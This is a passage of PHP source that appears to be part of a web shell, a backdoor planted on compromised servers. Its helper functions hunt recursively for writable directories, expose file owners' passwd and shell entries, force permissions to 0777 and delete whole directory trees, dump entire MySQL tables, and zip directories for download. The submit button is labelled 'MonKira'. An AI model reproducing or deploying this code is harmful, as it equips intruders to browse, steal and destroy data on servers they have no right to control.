2266 return $content;
2267}
2268function getChmod($filepath)
2269{
2270 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
2271}
2272function getPerms($filepath)
2273{
2274 $mode = @fileperms($filepath);
2275 if (($mode & 0xC000) === 0xC000) {
2276 $type = 's';
2277 } elseif (($mode & 0x4000) === 0x4000) {
2278 $type = 'd';
2279 } elseif (($mode & 0xA000) === 0xA000) {
2280 $type = 'l';
2281 } elseif (($mode & 0x8000) === 0x8000) {
2282 $type = '-';
2283 } elseif (($mode & 0x6000) === 0x6000) {
2284 $type = 'b';
2285 } elseif (($mode & 0x2000) === 0x2000) {
2286 $type = 'c';
2287 } elseif (($mode & 0x1000) === 0x1000) {
2288 $type = 'p';
2289 } else {
2290 $type = '?';
2291 }
2292 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2293 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2294 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2295 $group['read'] = ($mode & 00040) ? 'r' : '-';
2296 $group['write'] = ($mode & 00020) ? 'w' : '-';
2297 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2298 $world['read'] = ($mode & 00004) ? 'r' : '-';
2299 $world['write'] = ($mode & 00002) ? 'w' : '-';
2300 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2301 if ($mode & 0x800) {
2302 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
2303 }
2304 if ($mode & 0x400) {
2305 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
2306 }
2307 if ($mode & 0x200) {
2308 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
2309 }
2310 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
2311}
2312function getUser($filepath)
2313{
2314 if (function_exists('posix_getpwuid')) {
2315 $array = @posix_getpwuid(@fileowner($filepath));
2316 if ($array && is_array($array)) {
2317 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
2318 }
2319 }
2320 return '';
2321}
2322function deltree($deldir)
2323{
2324 $mydir = @dir($deldir);
2325 while ($file = $mydir->read()) {
2326 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
2327 @chmod($deldir . '/' . $file, 0777);
2328 deltree($deldir . '/' . $file);
2329 }
2330 if (is_file($deldir . '/' . $file)) {
2331 @chmod($deldir . '/' . $file, 0777);
2332 @unlink($deldir . '/' . $file);
2333 }
2334 }
2335 $mydir->close();
2336 @chmod($deldir, 0777);
2337 return @rmdir($deldir) ? 1 : 0;
2338}
2339function bg()
2340{
2341 global $bgc;
2342 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
2343}
2344function getPath($scriptpath, $nowpath)
2345{
2346 if ($nowpath == '.') {
2347 $nowpath = $scriptpath;
2348 }
2349 $nowpath = str_replace('\\', '/', $nowpath);
2350 $nowpath = str_replace('//', '/', $nowpath);
2351 if (substr($nowpath, -1) != '/') {
2352 $nowpath = $nowpath . '/';
2353 }
2354 return $nowpath;
2355}
2356function getUpPath($nowpath)
2357{
2358 $pathdb = explode('/', $nowpath);
2359 $num = count($pathdb);
2360 if ($num > 2) {
2361 unset($pathdb[$num - 1], $pathdb[$num - 2]);
2362 }
2363 $uppath = implode('/', $pathdb) . '/';
2364 $uppath = str_replace('//', '/', $uppath);
2365 return $uppath;
2366}
2367function getcfg($varname)
2368{
2369 $result = get_cfg_var($varname);
2370 if ($result == 0) {
2371 return 'No';
2372 } elseif ($result == 1) {
2373 return 'Yes';
2374 } else {
2375 return $result;
2376 }
2377}
2378function getfun($funName)
2379{
2380 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2381}
2382function GetList($dir)
2383{
2384 global $dirdata, $j, $nowpath;
2385 !$j && $j = 1;
2386 if ($dh = opendir($dir)) {
2387 while ($file = readdir($dh)) {
2388 $f = str_replace('//', '/', $dir . '/' . $file);
2389 if ($file != '.' && $file != '..' && is_dir($f)) {
2390 if (is_writable($f)) {
2391 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
2392 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
2393 $dirdata[$j]['dirchmod'] = getChmod($f);
2394 $dirdata[$j]['dirperm'] = getPerms($f);
2395 $dirdata[$j]['dirlink'] = ue($dir);
2396 $dirdata[$j]['server_link'] = $f;
2397 $dirdata[$j]['client_link'] = ue($f);
2398 $j++;
2399 }
2400 GetList($f);
2401 }
2402 }
2403 closedir($dh);
2404 clearstatcache();
2405 return $dirdata;
2406 } else {
2407 return array();
2408 }
2409}
2410function qy($sql)
2411{
2412 $res = $error = '';
2413 if (!$res = @mysql_query($sql)) {
2414 return 0;
2415 } else if (is_resource($res)) {
2416 return 1;
2417 } else {
2418 return 2;
2419 }
2420 return 0;
2421}
2422function q($sql)
2423{
2424 return @mysql_query($sql);
2425}
2426function fr($qy)
2427{
2428 mysql_free_result($qy);
2429}
2430function sizecount($size)
2431{
2432 if ($size > 1073741824) {
2433 $size = round($size / 1073741824 * 100) / 100 . ' G';
2434 } elseif ($size > 1048576) {
2435 $size = round($size / 1048576 * 100) / 100 . ' M';
2436 } elseif ($size > 1024) {
2437 $size = round($size / 1024 * 100) / 100 . ' K';
2438 } else {
2439 $size = $size . ' B';
2440 }
2441 return $size;
2442}
2443class PHPZip
2444{
2445 var $out = '';
2446 function PHPZip($dir)
2447 {
2448 if (@function_exists('gzcompress')) {
2449 $curdir = getcwd();
2450 if (is_array($dir))
2451 $filelist = $dir;
2452 else {
2453 $filelist = $this->GetFileList($dir);
2454 foreach ($filelist as $k => $v)
2455 $filelist[] = substr($v, strlen($dir) + 1);
2456 }
2457 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir)))
2458 chdir($dir);
2459 else
2460 chdir($curdir);
2461 if (count($filelist) > 0) {
2462 foreach ($filelist as $filename) {
2463 if (is_file($filename)) {
2464 $fd = fopen($filename, 'r');
2465 $content = @fread($fd, filesize($filename));
2466 fclose($fd);
2467 if (is_array($dir))
2468 $filename = basename($filename);
2469 $this->addFile($content, $filename);
2470 }
2471 }
2472 $this->out = $this->file();
2473 chdir($curdir);
2474 }
2475 return 1;
2476 } else
2477 return 0;
2478 }
2479 function GetFileList($dir)
2480 {
2481 static $a;
2482 if (is_dir($dir)) {
2483 if ($dh = opendir($dir)) {
2484 while ($file = readdir($dh)) {
2485 if ($file != '.' && $file != '..') {
2486 $f = $dir . '/' . $file;
2487 if (is_dir($f))
2488 $this->GetFileList($f);
2489 $a[] = $f;
2490 }
2491 }
2492 closedir($dh);
2493 }
2494 }
2495 return $a;
2496 }
2497 var $datasec = array();
2498 var $ctrl_dir = array();
2499 var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
2500 var $old_offset = 0;
2501 function unix2DosTime($unixtime = 0)
2502 {
2503 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2504 if ($timearray['year'] < 1980) {
2505 $timearray['year'] = 1980;
2506 $timearray['mon'] = 1;
2507 $timearray['mday'] = 1;
2508 $timearray['hours'] = 0;
2509 $timearray['minutes'] = 0;
2510 $timearray['seconds'] = 0;
2511 }
2512 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2513 }
2514 function addFile($data, $name, $time = 0)
2515 {
2516 $name = str_replace('\\', '/', $name);
2517 $dtime = dechex($this->unix2DosTime($time));
2518 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
2519 eval('$hexdtime = "' . $hexdtime . '";');
2520 $fr = "\x50\x4b\x03\x04";
2521 $fr .= "\x14\x00";
2522 $fr .= "\x00\x00";
2523 $fr .= "\x08\x00";
2524 $fr .= $hexdtime;
2525 $unc_len = strlen($data);
2526 $crc = crc32($data);
2527 $zdata = gzcompress($data);
2528 $c_len = strlen($zdata);
2529 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2530 $fr .= pack('V', $crc);
2531 $fr .= pack('V', $c_len);
2532 $fr .= pack('V', $unc_len);
2533 $fr .= pack('v', strlen($name));
2534 $fr .= pack('v', 0);
2535 $fr .= $name;
2536 $fr .= $zdata;
2537 $fr .= pack('V', $crc);
2538 $fr .= pack('V', $c_len);
2539 $fr .= pack('V', $unc_len);
2540 $this->datasec[] = $fr;
2541 $new_offset = strlen(implode('', $this->datasec));
2542 $cdrec = "\x50\x4b\x01\x02";
2543 $cdrec .= "\x00\x00";
2544 $cdrec .= "\x14\x00";
2545 $cdrec .= "\x00\x00";
2546 $cdrec .= "\x08\x00";
2547 $cdrec .= $hexdtime;
2548 $cdrec .= pack('V', $crc);
2549 $cdrec .= pack('V', $c_len);
2550 $cdrec .= pack('V', $unc_len);
2551 $cdrec .= pack('v', strlen($name));
2552 $cdrec .= pack('v', 0);
2553 $cdrec .= pack('v', 0);
2554 $cdrec .= pack('v', 0);
2555 $cdrec .= pack('v', 0);
2556 $cdrec .= pack('V', 32);
2557 $cdrec .= pack('V', $this->old_offset);
2558 $this->old_offset = $new_offset;
2559 $cdrec .= $name;
2560 $this->ctrl_dir[] = $cdrec;
2561 }
2562 function file()
2563 {
2564 $data = implode('', $this->datasec);
2565 $ctrldir = implode('', $this->ctrl_dir);
2566 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
2567 }
2568}
2569function sqldumptable($table, $fp = 0)
2570{
2571 $tabledump = "DROP TABLE IF EXISTS $table;
2572";
2573 $tabledump .= "CREATE TABLE $table (
2574";
2575 $firstfield = 1;
2576 $fields = q("SHOW FIELDS FROM $table");
2577 while ($field = mysql_fetch_array($fields)) {
2578 if (!$firstfield) {
2579 $tabledump .= ",
2580";
2581 } else {
2582 $firstfield = 0;
2583 }
2584 $tabledump .= " $field[Field] $field[Type]";
2585 if (!empty($field["Default"])) {
2586 $tabledump .= " DEFAULT '$field[Default]'";
2587 }
2588 if ($field['Null'] != "YES") {
2589 $tabledump .= " NOT NULL";
2590 }
2591 if ($field['Extra'] != "") {
2592 $tabledump .= " $field[Extra]";
2593 }
2594 }
2595 fr($fields);
2596 $keys = q("SHOW KEYS FROM $table");
2597 while ($key = mysql_fetch_array($keys)) {
2598 $kname = $key['Key_name'];
2599 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2600 $kname = "UNIQUE|$kname";
2601 }
2602 if (!is_array($index[$kname])) {
2603 $index[$kname] = array();
2604 }
2605 $index[$kname][] = $key['Column_name'];
2606 }
2607 fr($keys);
2608 while (list($kname, $columns) = @each($index)) {
2609 $tabledump .= ",
2610";
2611 $colnames = implode($columns, ",");
2612 if ($kname == "PRIMARY") {
2613 $tabledump .= " PRIMARY KEY ($colnames)";
2614 } else {
2615 if (substr($kname, 0, 6) == "UNIQUE") {
2616 $kname = substr($kname, 7);
2617 }
2618 $tabledump .= " KEY $kname ($colnames)";
2619 }
2620 }
2621 $tabledump .= "
2622);
2623
2624";
2625 if ($fp) {
2626 fwrite($fp, $tabledump);
2627 } else {
2628 echo $tabledump;
2629 }
2630 $rows = q("SELECT * FROM $table");
2631 $numfields = mysql_num_fields($rows);
2632 while ($row = mysql_fetch_array($rows)) {
2633 $tabledump = "INSERT INTO $table VALUES(";
2634 $fieldcounter = -1;
2635 $firstfield = 1;
2636 while (++$fieldcounter < $numfields) {
2637 if (!$firstfield) {
2638 $tabledump .= ", ";
2639 } else {
2640 $firstfield = 0;
2641 }
2642 if (!isset($row[$fieldcounter])) {
2643 $tabledump .= "NULL";
2644 } else {
2645 $tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2646 }
2647 }
2648 $tabledump .= ");
2649";
2650 if ($fp) {
2651 fwrite($fp, $tabledump);
2652 } else {
2653 echo $tabledump;
2654 }
2655 }
2656 fr($rows);
2657 if ($fp) {
2658 fwrite($fp, "
2659");
2660 } else {
2661 echo "
2662";
2663 }
2664}
2665function ue($str)
2666{
2667 return urlencode($str);
2668}
2669function p($str)
2670{
2671 echo $str . "
2672";
2673}
2674function tbhead()
2675{
2676 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2677}
2678function tbfoot()
2679{
2680 p('</table>');
2681}
2682function makehide($name, $value = '')
2683{
2684 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2685}
2686function makeinput($arg = array())
2687{
2688 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2689 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2690 !$arg['type'] && $arg['type'] = 'text';
2691 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2692 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2693 if ($arg['newline']) {
2694 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2695 } else {
2696 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2697 }
2698}
2699function makeselect($arg = array())
2700{
2701 if ($arg['onchange']) {
2702 $onchange = 'onchange="' . $arg['onchange'] . '"';
2703 }
2704 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2705 if ($arg['newline'])
2706 p('<p>');
2707 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2708 if (is_array($arg['option'])) {
2709 foreach ($arg['option'] as $key => $value) {
2710 if ($arg['selected'] == $key) {
2711 p("<option value=\"$key\" selected>$value</option>");
2712 } else {
2713 p("<option value=\"$key\">$value</option>");
2714 }
2715 }
2716 }
2717 p("</select>");
2718 if ($arg['newline'])
2719 p('</p>');
2720}
2721function formhead($arg = array())
2722{
2723 !$arg['method'] && $arg['method'] = 'post';
2724 !$arg['action'] && $arg['action'] = $self;
2725 $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
2726 !$arg['name'] && $arg['name'] = 'form1';
2727 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2728 if ($arg['title']) {
2729 p('<h2>' . $arg['title'] . ' »</h2>');
2730 }
2731}
2732function maketext($arg = array())
2733{
2734 !$arg['cols'] && $arg['cols'] = 100;
2735 !$arg['rows'] && $arg['rows'] = 25;
2736 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2737 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2738}
2739function formfooter($name = '')
2740{
2741 !$name && $name = 'submit';
2742 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="MonKira"></p>');
2743 p('</form>');
2744}
2745function formfoot()
2746{
2747 p('</form>');
2748}
2749function pr($a)
2750{
2751 echo '<pre>';
2752 print_r($a);
2753 echo '</pre>';
2754}
2755?>